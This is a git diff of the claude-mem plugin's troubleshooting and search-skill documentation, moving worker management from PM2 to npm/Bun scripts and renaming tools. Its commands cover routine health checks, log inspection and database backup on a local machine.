Promise(o=>setTimeout(()=>o(),5e3));await Promise.race([i,t]),n&&!n.killed&&(r("Inner did not exit gracefully, force killing"),n.kill("SIGKILL"))}await S(e,5e3),n=null,r("Inner process terminated")}async function S(e,i){let t=Date.now();for(;Date.now()-t<i;)try{process.kill(e,0),await new Promise(o=>setTimeout(o,100))}catch{return}r(`Timeout waiting for process ${e} to exit`)}process.on("SIGTERM",async()=>{r("Wrapper received SIGTERM"),a=!0,await d(),process.exit(0)});process.on("SIGINT",async()=>{r("Wrapper received SIGINT"),a=!0,await d(),process.exit(0)});r("Wrapper starting");m();
Binary file not shown.
+9 -9
View File
@@ -86,13 +86,13 @@ For each relevant ID, fetch full details using MCP tools:
**Fetch multiple observations (ALWAYS use for 2+ IDs):**
```
get_batch_observations(ids=[11131, 10942, 10855])
get_observations(ids=[11131, 10942, 10855])
```
**With ordering and limit:**
```
get_batch_observations(
get_observations(
ids=[11131, 10942, 10855],
orderBy="date_desc",
limit=10,
@@ -126,7 +126,7 @@ get_prompt(id=5421)
**Batch optimization:**
- **ALWAYS use `get_batch_observations` for 2+ observations**
- **ALWAYS use `get_observations` for 2+ observations**
- 10-100x more efficient than individual fetches
- Single HTTP request vs N requests
- Returns all results in one response
@@ -175,13 +175,13 @@ search(query="database migration", limit=20, project="my-project")
**Get detailed instructions:**
Use the `progressive_description` tool to load full instructions on-demand:
Use the `help` tool to load full instructions on-demand:
```
progressive_description(topic="workflow") # Get 4-step workflow
progressive_description(topic="search_params") # Get parameters reference
progressive_description(topic="examples") # Get usage examples
progressive_description(topic="all") # Get complete guide
help(topic="workflow") # Get 4-step workflow
help(topic="search_params") # Get parameters reference
help(topic="examples") # Get usage examples
help(topic="all") # Get complete guide
```
## Why This Workflow?
@@ -210,5 +210,5 @@ progressive_description(topic="all") # Get complete guide
**Remember:**
- ALWAYS get timeline context to understand what was happening
- ALWAYS use `get_batch_observations` when fetching 2+ observations
- ALWAYS use `get_observations` when fetching 2+ observations
- The workflow is optimized: search → timeline → batch fetch = 10-100x faster
@@ -282,7 +282,7 @@ No results found for "{query}". Try:
The search service isn't available. Check if the worker is running:
```bash
pm2 list
npm run worker:status
```
If the worker is stopped, restart it:
+1 -1
View File
@@ -113,7 +113,7 @@ Many endpoints share these parameters:
## Error Handling
**Worker not running:**
Connection refused error. Response: "The search API isn't available. Check if worker is running: `pm2 list`"
Connection refused error. Response: "The search API isn't available. Check if worker is running: `npm run worker:status`"
**Invalid endpoint:**
```json
@@ -93,7 +93,7 @@ curl -s "http://localhost:37777/api/context/recent?limit=3"
Response: "No recent sessions found for 'new-project'. This might be a new project."
**Worker not running:**
Connection refused error. Inform user to check if worker is running: `pm2 list`
Connection refused error. Inform user to check if worker is running: `npm run worker:status`
## Tips
+5 -5
View File
@@ -1,6 +1,6 @@
---
name: troubleshoot
description: Diagnose and fix claude-mem installation issues. Checks PM2 worker status, database integrity, service health, dependencies, and provides automated fixes for common problems.
description: Diagnose and fix claude-mem installation issues. Checks worker status, database integrity, service health, dependencies, and provides automated fixes for common problems.
---
# Claude-Mem Troubleshooting Skill
@@ -39,7 +39,7 @@ Choose the appropriate operation file for detailed instructions:
### Diagnostic Workflows
1. **[Full System Diagnostics](operations/diagnostics.md)** - Comprehensive step-by-step diagnostic workflow
2. **[Worker Diagnostics](operations/worker.md)** - PM2 worker-specific troubleshooting
2. **[Worker Diagnostics](operations/worker.md)** - Bun worker-specific troubleshooting
3. **[Database Diagnostics](operations/database.md)** - Database integrity and data checks
### Issue Resolution
@@ -54,9 +54,9 @@ Choose the appropriate operation file for detailed instructions:
**Fast automated fix (try this first):**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
pm2 delete claude-mem-worker 2>/dev/null; \
npm run worker:stop; \
npm install && \
node_modules/.bin/pm2 start ecosystem.config.cjs && \
npm run worker:start && \
sleep 3 && \
curl -s http://127.0.0.1:37777/health
```
@@ -79,7 +79,7 @@ When troubleshooting:
- **Worker port:** Default 37777 (configurable via `CLAUDE_MEM_WORKER_PORT`)
- **Database location:** `~/.claude-mem/claude-mem.db`
- **Plugin location:** `~/.claude/plugins/marketplaces/thedotmack/`
- **PM2 process name:** `claude-mem-worker`
- **Worker PID file:** `~/.claude-mem/worker.pid`
## Error Reporting
@@ -8,9 +8,9 @@ One-command fix sequences for common claude-mem issues.
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
pm2 delete claude-mem-worker 2>/dev/null; \
npm run worker:stop; \
npm install && \
node_modules/.bin/pm2 start ecosystem.config.cjs && \
npm run worker:start && \
sleep 3 && \
curl -s http://127.0.0.1:37777/health
```
@@ -20,22 +20,22 @@ curl -s http://127.0.0.1:37777/health
**What it does:**
1. Stops the worker (if running)
2. Ensures dependencies are installed
3. Starts worker with local PM2
3. Starts worker
4. Waits for startup
5. Verifies health
## Fix: Worker Not Running
**Use when:** PM2 shows worker as stopped or not listed
**Use when:** Worker status shows it's not running
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
node_modules/.bin/pm2 start ecosystem.config.cjs && \
npm run worker:start && \
sleep 2 && \
pm2 status
npm run worker:status
```
**Expected output:** Worker shows as "online"
**Expected output:** Worker running with PID and health OK
## Fix: Dependencies Missing
@@ -44,9 +44,23 @@ pm2 status
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
npm install && \
pm2 restart claude-mem-worker
npm run worker:restart
```
## Fix: Stale PID File
**Use when:** Worker reports running but health check fails
```bash
rm -f ~/.claude-mem/worker.pid && \
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
npm run worker:start && \
sleep 2 && \
curl -s http://127.0.0.1:37777/health
```
**Expected output:** `{"status":"ok"}`
## Fix: Port Conflict
**Use when:** Error shows port already in use
@@ -54,8 +68,9 @@ pm2 restart claude-mem-worker
```bash
# Change to port 37778
mkdir -p ~/.claude-mem && \
echo '{"env":{"CLAUDE_MEM_WORKER_PORT":"37778"}}' > ~/.claude-mem/settings.json && \
pm2 restart claude-mem-worker && \
echo '{"CLAUDE_MEM_WORKER_PORT":"37778"}' > ~/.claude-mem/settings.json && \
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
npm run worker:restart && \
sleep 2 && \
curl -s http://127.0.0.1:37778/health
```
@@ -70,14 +85,16 @@ curl -s http://127.0.0.1:37778/health
# Backup and test integrity
cp ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.backup && \
sqlite3 ~/.claude-mem/claude-mem.db "PRAGMA integrity_check;" && \
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
npm run worker:restart
```
**If integrity check fails, recreate database:**
```bash
# WARNING: This deletes all memory data
mv ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.old && \
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
npm run worker:restart
```
## Fix: Clean Reinstall
@@ -88,36 +105,49 @@ pm2 restart claude-mem-worker
# Backup data first
cp ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.backup 2>/dev/null
# Stop and remove worker
pm2 delete claude-mem-worker 2>/dev/null
# Stop worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:stop
# Clean PID file
rm -f ~/.claude-mem/worker.pid
# Reinstall dependencies
cd ~/.claude/plugins/marketplaces/thedotmack/ && \
rm -rf node_modules && \
npm install
# Start worker
node_modules/.bin/pm2 start ecosystem.config.cjs && \
npm run worker:start && \
sleep 3 && \
curl -s http://127.0.0.1:37777/health
```
## Fix: Clear PM2 Logs
## Fix: Clear Old Logs
**Use when:** Logs are too large, want fresh start
**Use when:** Want to start with fresh logs
```bash
pm2 flush claude-mem-worker && \
pm2 restart claude-mem-worker
# Archive old logs
tar -czf ~/.claude-mem/logs-archive-$(date +%Y-%m-%d).tar.gz ~/.claude-mem/logs/*.log 2>/dev/null
# Remove logs older than 7 days
find ~/.claude-mem/logs/ -name "worker-*.log" -mtime +7 -delete
# Restart worker for fresh log
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
```
**Note:** Logs auto-rotate daily, manual cleanup rarely needed.
## Verification Commands
**After running any fix, verify with these:**
```bash
# Check worker status
pm2 status | grep claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:status
# Check health
curl -s http://127.0.0.1:37777/health
@@ -129,23 +159,48 @@ sqlite3 ~/.claude-mem/claude-mem.db "SELECT COUNT(*) FROM observations;"
curl -s http://127.0.0.1:37777/api/stats
# Check logs for errors
pm2 logs claude-mem-worker --lines 20 --nostream | grep -i error
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log | tail -20
```
**All checks should pass:**
- Worker status: "online"
- Health: `{"status":"ok"}`
- Worker status: Shows PID and "Health: OK"
- Health endpoint: `{"status":"ok"}`
- Database: Shows count (may be 0 if new)
- Stats: Returns JSON with counts
- Logs: No recent errors
## One-Line Complete Diagnostic
**Quick health check:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/ && npm run worker:status && curl -s http://127.0.0.1:37777/health && echo " ✓ All systems OK"
```
## Troubleshooting the Fixes
**If automated fix fails:**
1. Run the diagnostic script from [diagnostics.md](diagnostics.md)
2. Check specific error in PM2 logs
2. Check specific error in worker logs:
```bash
tail -50 ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
3. Try manual worker start to see detailed error:
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
node plugin/scripts/worker-service.cjs
bun plugin/scripts/worker-service.js
```
4. Use the bug report tool:
```bash
npm run bug-report
```
## Common Error Patterns and Fixes
| Error Pattern | Likely Cause | Quick Fix |
|---------------|--------------|-----------|
| `EADDRINUSE` | Port conflict | Change port in settings.json |
| `SQLITE_ERROR` | Database corruption | Run integrity check, recreate if needed |
| `ENOENT` | Missing files | Run `npm install` |
| `Module not found` | Dependency issue | Clean reinstall |
| Connection refused | Worker not running | `npm run worker:start` |
| Stale PID | Old PID file | Remove `~/.claude-mem/worker.pid` |
@@ -17,7 +17,8 @@ Quick fixes for frequently encountered claude-mem problems.
**Fix:**
1. Verify worker is running:
```bash
pm2 jlist | grep claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:status
```
2. Check database has recent observations:
@@ -27,7 +28,8 @@ Quick fixes for frequently encountered claude-mem problems.
3. Restart worker and start new session:
```bash
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
```
4. Create a test observation: `/skill version-bump` then cancel
@@ -66,7 +68,7 @@ Quick fixes for frequently encountered claude-mem problems.
3. Verify worker is using correct database path in logs:
```bash
pm2 logs claude-mem-worker --lines 50 --nostream | grep "Database"
grep "Database" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
4. Test viewer connection manually:
@@ -109,34 +111,34 @@ Quick fixes for frequently encountered claude-mem problems.
## Issue: Worker Not Starting {#worker-not-starting}
**Symptoms:**
- PM2 shows worker as "stopped" or "errored"
- Worker status shows not running or error
- Health check fails
- Viewer not accessible
**Root cause:**
- Port already in use
- PM2 not installed or not in PATH
- Bun not installed
- Missing dependencies
**Fix:**
1. Try manual worker start to see error:
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
node plugin/scripts/worker-service.cjs
bun plugin/scripts/worker-service.js
# Should start server on port 37777 or show error
```
2. If port in use, change it:
```bash
mkdir -p ~/.claude-mem
echo '{"env":{"CLAUDE_MEM_WORKER_PORT":"37778"}}' > ~/.claude-mem/settings.json
echo '{"CLAUDE_MEM_WORKER_PORT":"37778"}' > ~/.claude-mem/settings.json
```
3. If dependencies missing:
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
npm install
pm2 start ecosystem.config.cjs
npm run worker:start
```
## Issue: Search Results Empty
@@ -170,7 +172,8 @@ Quick fixes for frequently encountered claude-mem problems.
4. If FTS5 out of sync, restart worker (triggers reindex):
```bash
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
```
## Issue: Port Conflicts
@@ -189,8 +192,9 @@ Quick fixes for frequently encountered claude-mem problems.
2. Either kill the conflicting process or change claude-mem port:
```bash
mkdir -p ~/.claude-mem
echo '{"env":{"CLAUDE_MEM_WORKER_PORT":"37778"}}' > ~/.claude-mem/settings.json
pm2 restart claude-mem-worker
echo '{"CLAUDE_MEM_WORKER_PORT":"37778"}' > ~/.claude-mem/settings.json
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
```
## Issue: Database Corrupted
@@ -214,7 +218,8 @@ Quick fixes for frequently encountered claude-mem problems.
3. If repair fails, recreate (loses data):
```bash
rm ~/.claude-mem/claude-mem.db
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
# Worker will create new database
```
@@ -172,7 +172,8 @@ SELECT
If FTS5 counts don't match, triggers may have failed. Restart worker to rebuild:
```bash
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
```
The worker will rebuild FTS5 indexes on startup if they're out of sync.
@@ -196,7 +197,7 @@ The worker will rebuild FTS5 indexes on startup if they're out of sync.
1. Create test observation (use any skill and cancel)
2. Check worker logs for errors:
```bash
pm2 logs claude-mem-worker --lines 50 --nostream
tail -50 ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
3. Verify observation appears in database
@@ -228,9 +229,10 @@ ls -la ~/.claude-mem/claude-mem.db-wal
ls -la ~/.claude-mem/claude-mem.db-shm
# Remove lock files (only if worker is stopped!)
pm2 stop claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:stop
rm ~/.claude-mem/claude-mem.db-wal ~/.claude-mem/claude-mem.db-shm
pm2 start claude-mem-worker
npm run worker:start
```
### Issue: Database Growing Too Large
@@ -260,7 +262,8 @@ sqlite3 ~/.claude-mem/claude-mem.db "SELECT COUNT(*) FROM observations;"
3. Archive and start fresh:
```bash
mv ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.archive
pm2 restart claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:restart
```
## Database Recovery
@@ -275,9 +278,10 @@ cp ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.backup
### Restore from Backup
```bash
pm2 stop claude-mem-worker
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:stop
cp ~/.claude-mem/claude-mem.db.backup ~/.claude-mem/claude-mem.db
pm2 start claude-mem-worker
npm run worker:start
```
### Export Data
@@ -300,8 +304,10 @@ sqlite3 ~/.claude-mem/claude-mem.db -json "SELECT * FROM user_prompts;" > prompt
**WARNING: Data loss. Backup first!**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
# Stop worker
pm2 stop claude-mem-worker
npm run worker:stop
# Backup current database
cp ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.old
@@ -310,7 +316,7 @@ cp ~/.claude-mem/claude-mem.db ~/.claude-mem/claude-mem.db.old
rm ~/.claude-mem/claude-mem.db
# Start worker (creates new database)
pm2 start claude-mem-worker
npm run worker:start
```
## Database Statistics
@@ -6,29 +6,42 @@ Comprehensive step-by-step diagnostic workflow for claude-mem issues.
Run these checks systematically to identify the root cause:
### 1. Check PM2 Worker Status
### 1. Check Worker Status
First, verify if the worker service is running:
```bash
# Check if PM2 is available
which pm2 || echo "PM2 not found in PATH"
# Check worker status using npm script
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:status
# List PM2 processes
pm2 jlist 2>&1
# If pm2 is not found, try the local installation
~/.claude/plugins/marketplaces/thedotmack/node_modules/.bin/pm2 jlist 2>&1
# Or check health endpoint directly
curl -s http://127.0.0.1:37777/health
```
**Expected output:** JSON array with `claude-mem-worker` process showing `"status": "online"`
**Expected output from npm run worker:status:**
```
✓ Worker is running (PID: 12345)
Port: 37777
Uptime: 45m
Health: OK
```
**If worker not running or status is not "online":**
**Expected output from health endpoint:** `{"status":"ok"}`
**If worker not running:**
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
pm2 start ecosystem.config.cjs
# Or use local pm2:
node_modules/.bin/pm2 start ecosystem.config.cjs
npm run worker:start
```
**If health endpoint fails but worker reports running:**
Check for stale PID file:
```bash
cat ~/.claude-mem/worker.pid
ps -p $(cat ~/.claude-mem/worker.pid 2>/dev/null | grep -o '"pid":[0-9]*' | grep -o '[0-9]*') 2>/dev/null || echo "Stale PID - worker not actually running"
rm ~/.claude-mem/worker.pid
npm run worker:start
```
### 2. Check Worker Service Health
@@ -98,10 +111,12 @@ cd ~/.claude/plugins/marketplaces/thedotmack/
# Check for critical packages
ls node_modules/@anthropic-ai/claude-agent-sdk 2>&1 | head -1
ls node_modules/express 2>&1 | head -1
ls node_modules/pm2 2>&1 | head -1
# Check if Bun is available
bun --version 2>&1
```
**Expected:** All critical packages present
**Expected:** All critical packages present, Bun installed
**If dependencies missing:**
```bash
@@ -114,17 +129,26 @@ npm install
Review recent worker logs for errors:
```bash
# View last 50 lines of worker logs
pm2 logs claude-mem-worker --lines 50 --nostream
# Or use local pm2:
# View logs using npm script
cd ~/.claude/plugins/marketplaces/thedotmack/
node_modules/.bin/pm2 logs claude-mem-worker --lines 50 --nostream
npm run worker:logs
# View today's log file directly
cat ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Last 50 lines
tail -50 ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Check for specific errors
pm2 logs claude-mem-worker --lines 100 --nostream | grep -i "error\|exception\|failed"
grep -iE "error|exception|failed" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log | tail -20
```
**Common error patterns to look for:**
- `SQLITE_ERROR` - Database issues
- `EADDRINUSE` - Port conflict
- `ENOENT` - Missing files
- `Module not found` - Dependency issues
### 6. Test Viewer UI
Check if the web viewer is accessible:
@@ -167,6 +191,8 @@ echo "=== Claude-Mem Troubleshooting Report ==="
echo ""
echo "1. Environment"
echo " OS: $(uname -s)"
echo " Node version: $(node --version 2>/dev/null || echo 'N/A')"
echo " Bun version: $(bun --version 2>/dev/null || echo 'N/A')"
echo ""
echo "2. Plugin Installation"
echo " Plugin directory exists: $([ -d ~/.claude/plugins/marketplaces/thedotmack ] && echo 'YES' || echo 'NO')"
@@ -179,20 +205,28 @@ echo " Observation count: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT COUNT(
echo " Session count: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT COUNT(*) FROM sessions;' 2>/dev/null || echo 'N/A')"
echo ""
echo "4. Worker Service"
PM2_PATH=$(which pm2 2>/dev/null || echo "~/.claude/plugins/marketplaces/thedotmack/node_modules/.bin/pm2")
echo " PM2 path: $PM2_PATH"
WORKER_STATUS=$($PM2_PATH jlist 2>/dev/null | grep -o '"name":"claude-mem-worker".*"status":"[^"]*"' | grep -o 'status":"[^"]*"' | cut -d'"' -f3 || echo 'not running')
echo " Worker status: $WORKER_STATUS"
echo " Worker PID file: $([ -f ~/.claude-mem/worker.pid ] && echo 'EXISTS' || echo 'MISSING')"
if [ -f ~/.claude-mem/worker.pid ]; then
WORKER_PID=$(cat ~/.claude-mem/worker.pid 2>/dev/null | grep -o '"pid":[0-9]*' | grep -o '[0-9]*')
echo " Worker PID: $WORKER_PID"
echo " Process running: $(ps -p $WORKER_PID >/dev/null 2>&1 && echo 'YES' || echo 'NO (stale PID)')"
fi
echo " Health check: $(curl -s http://127.0.0.1:37777/health 2>/dev/null || echo 'FAILED')"
echo ""
echo "5. Configuration"
echo " Port setting: $(cat ~/.claude-mem/settings.json 2>/dev/null | grep CLAUDE_MEM_WORKER_PORT || echo 'default (37777)')"
echo " Observation count: $(cat ~/.claude-mem/settings.json 2>/dev/null | grep CLAUDE_MEM_CONTEXT_OBSERVATIONS || echo 'default (50)')"
echo " Model: $(cat ~/.claude-mem/settings.json 2>/dev/null | grep CLAUDE_MEM_MODEL || echo 'default (claude-sonnet-4-5)')"
echo ""
echo "6. Recent Activity"
echo " Latest observation: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT created_at FROM observations ORDER BY created_at DESC LIMIT 1;' 2>/dev/null || echo 'N/A')"
echo " Latest session: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT created_at FROM sessions ORDER BY created_at DESC LIMIT 1;' 2>/dev/null || echo 'N/A')"
echo ""
echo "7. Logs"
echo " Today's log file: $([ -f ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log ] && echo 'EXISTS' || echo 'MISSING')"
echo " Log file size: $(du -h ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log 2>/dev/null | cut -f1 || echo 'N/A')"
echo " Recent errors: $(grep -c -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log 2>/dev/null || echo '0')"
echo ""
echo "=== End Report ==="
```
@@ -201,18 +235,75 @@ Save this as `/tmp/claude-mem-diagnostics.sh` and run:
bash /tmp/claude-mem-diagnostics.sh
```
## Quick Diagnostic One-Liners
```bash
# Full status check
npm run worker:status && curl -s http://127.0.0.1:37777/health && echo " - All systems OK"
# Database stats
echo "DB: $(du -h ~/.claude-mem/claude-mem.db | cut -f1) | Obs: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT COUNT(*) FROM observations;' 2>/dev/null) | Sessions: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT COUNT(*) FROM sessions;' 2>/dev/null)"
# Recent errors
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log 2>/dev/null | tail -5 || echo "No recent errors"
# Port check
lsof -i :37777 || echo "Port 37777 is free"
# Worker process check
ps aux | grep -E "bun.*worker-service" | grep -v grep || echo "Worker not running"
```
## Automated Fix Sequence
If diagnostics show issues, run this automated fix sequence:
```bash
#!/bin/bash
echo "Running automated fix sequence..."
# 1. Stop worker if running
echo "1. Stopping worker..."
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:stop
# 2. Clean stale PID if exists
echo "2. Cleaning stale PID file..."
rm -f ~/.claude-mem/worker.pid
# 3. Reinstall dependencies
echo "3. Reinstalling dependencies..."
npm install
# 4. Start worker
echo "4. Starting worker..."
npm run worker:start
# 5. Wait for startup
echo "5. Waiting for worker to start..."
sleep 3
# 6. Verify health
echo "6. Verifying health..."
curl -s http://127.0.0.1:37777/health || echo "Worker health check FAILED"
echo "Fix sequence complete!"
```
## Reporting Issues
If troubleshooting doesn't resolve the issue, collect this information for a bug report:
If troubleshooting doesn't resolve the issue, run the built-in bug report tool:
1. Full diagnostic report (run script above)
2. Worker logs: `pm2 logs claude-mem-worker --lines 100 --nostream`
3. Your setup:
- Claude version: Check with Claude
- OS: `uname -a`
- Node version: `node --version`
- Plugin version: In package.json
4. Steps to reproduce the issue
5. Expected vs actual behavior
```bash
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run bug-report
```
Post to: https://github.com/thedotmack/claude-mem/issues
This will collect:
1. Full diagnostic report
2. Worker logs
3. System information
4. Configuration details
5. Database stats
Post the generated report to: https://github.com/thedotmack/claude-mem/issues
@@ -6,30 +6,29 @@ Essential commands for troubleshooting claude-mem.
```bash
# Check worker status
pm2 status | grep claude-mem-worker
pm2 jlist | grep claude-mem-worker # JSON format
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:status
# Start worker
cd ~/.claude/plugins/marketplaces/thedotmack/
pm2 start ecosystem.config.cjs
npm run worker:start
# Restart worker
pm2 restart claude-mem-worker
npm run worker:restart
# Stop worker
pm2 stop claude-mem-worker
# Delete worker (for clean restart)
pm2 delete claude-mem-worker
npm run worker:stop
# View logs
pm2 logs claude-mem-worker
npm run worker:logs
# View last N lines
pm2 logs claude-mem-worker --lines 50 --nostream
# View today's log file
cat ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Clear logs
pm2 flush claude-mem-worker
# Last 50 lines
tail -50 ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Follow logs in real-time
tail -f ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
## Health Checks
@@ -82,21 +81,17 @@ cat ~/.claude-mem/settings.json
cat ~/.claude/settings.json
# Change worker port
echo '{"env":{"CLAUDE_MEM_WORKER_PORT":"37778"}}' > ~/.claude-mem/settings.json
echo '{"CLAUDE_MEM_WORKER_PORT":"37778"}' > ~/.claude-mem/settings.json
# Change context observation count
# Edit ~/.claude-mem/settings.json and add:
{
"env": {
"CLAUDE_MEM_CONTEXT_OBSERVATIONS": "25"
}
"CLAUDE_MEM_CONTEXT_OBSERVATIONS": "25"
}
# Change AI model
{
"env": {
"CLAUDE_MEM_MODEL": "claude-sonnet-4-5"
}
"CLAUDE_MEM_MODEL": "claude-sonnet-4-5"
}
```
@@ -132,16 +127,19 @@ curl -v http://127.0.0.1:37777/health
```bash
# Search logs for errors
pm2 logs claude-mem-worker --lines 100 --nostream | grep -i "error"
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Search for specific keyword
pm2 logs claude-mem-worker --lines 100 --nostream | grep "keyword"
grep "keyword" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Search across all log files
grep -i "error" ~/.claude-mem/logs/worker-*.log
# Last 100 error lines
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log | tail -100
# Follow logs in real-time
pm2 logs claude-mem-worker
# Show only error logs
pm2 logs claude-mem-worker --err
tail -f ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
## File Locations
@@ -160,11 +158,11 @@ pm2 logs claude-mem-worker --err
# Chroma vector database
~/.claude-mem/chroma/
# Usage logs
~/.claude-mem/usage-logs/
# Worker logs (daily rotation)
~/.claude-mem/logs/worker-*.log
# PM2 logs
~/.pm2/logs/
# Worker PID file
~/.claude-mem/worker.pid
```
## System Information
@@ -179,8 +177,8 @@ node --version
# NPM version
npm --version
# PM2 version
pm2 --version
# Bun version
bun --version
# SQLite version
sqlite3 --version
@@ -188,3 +186,22 @@ sqlite3 --version
# Check disk space
df -h ~/.claude-mem/
```
## One-Line Diagnostics
```bash
# Full worker status check
npm run worker:status && curl -s http://127.0.0.1:37777/health
# Quick health check
curl -s http://127.0.0.1:37777/health && echo " - Worker is healthy"
# Database stats
echo "Observations: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT COUNT(*) FROM observations;')" && echo "Sessions: $(sqlite3 ~/.claude-mem/claude-mem.db 'SELECT COUNT(*) FROM sessions;')"
# Recent errors
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log | tail -10
# Port check
lsof -i :37777 || echo "Port 37777 is free"
```
+149 -94
View File
@@ -1,10 +1,10 @@
# Worker Service Diagnostics
PM2 worker-specific troubleshooting for claude-mem.
Bun worker-specific troubleshooting for claude-mem.
## PM2 Worker Overview
## Worker Overview
The claude-mem worker is a persistent background service managed by PM2. It:
The claude-mem worker is a persistent background service managed by Bun. It:
- Runs Express.js server on port 37777 (default)
- Processes observations asynchronously
- Serves the viewer UI
@@ -15,36 +15,41 @@ The claude-mem worker is a persistent background service managed by PM2. It:
### Basic Status Check
```bash
# List all PM2 processes
pm2 list
# Check worker status using npm script
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:status
# JSON format (parseable)
pm2 jlist
# Filter for claude-mem-worker
pm2 status | grep claude-mem-worker
# Or check health endpoint directly
curl -s http://127.0.0.1:37777/health
```
**Expected output:**
**Expected npm run worker:status output:**
```
│ claude-mem-worker │ online │ 12345 │ 0 │ 45m │ 0% │ 85.6mb │
✓ Worker is running (PID: 12345)
Port: 37777
Uptime: 45m
Health: OK
```
**Status meanings:**
- `online` - Worker running correctly
- `stopped` - Worker stopped (normal shutdown)
- `errored` - Worker crashed (check logs)
- `stopping` - Worker shutting down
- Not listed - Worker never started
**Expected health endpoint output:**
```json
{"status":"ok"}
```
**Status indicators:**
- `Worker is running` - Worker running correctly
- `Worker is not running` - Worker stopped or crashed
- Connection refused - Worker not running
- Timeout - Worker hung (restart needed)
### Detailed Worker Info
```bash
# Show detailed information
pm2 show claude-mem-worker
# View PID file
cat ~/.claude-mem/worker.pid
# JSON format
pm2 jlist | grep -A 20 '"name":"claude-mem-worker"'
# Check process details
ps aux | grep "bun.*worker-service"
```
## Worker Health Endpoint
@@ -72,30 +77,37 @@ curl -s http://127.0.0.1:$PORT/health
### View Recent Logs
```bash
# Last 50 lines
pm2 logs claude-mem-worker --lines 50 --nostream
# View logs using npm script
cd ~/.claude/plugins/marketplaces/thedotmack/
npm run worker:logs
# Last 200 lines
pm2 logs claude-mem-worker --lines 200 --nostream
# View today's log file directly
cat ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Last 50 lines of today's log
tail -50 ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Follow logs in real-time
pm2 logs claude-mem-worker
tail -f ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
```
### Search Logs for Errors
```bash
# Find errors
pm2 logs claude-mem-worker --lines 500 --nostream | grep -i "error"
# Find errors in today's log
grep -i "error" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Find exceptions
pm2 logs claude-mem-worker --lines 500 --nostream | grep -i "exception"
grep -i "exception" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Find failed requests
pm2 logs claude-mem-worker --lines 500 --nostream | grep -i "failed"
grep -i "failed" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# All error patterns
pm2 logs claude-mem-worker --lines 500 --nostream | grep -iE "error|exception|failed|crash"
grep -iE "error|exception|failed|crash" ~/.claude-mem/logs/worker-$(date +%Y-%m-%d).log
# Search across all log files
grep -iE "error|exception|failed|crash" ~/.claude-mem/logs/worker-*.log
```
### Common Log Patterns
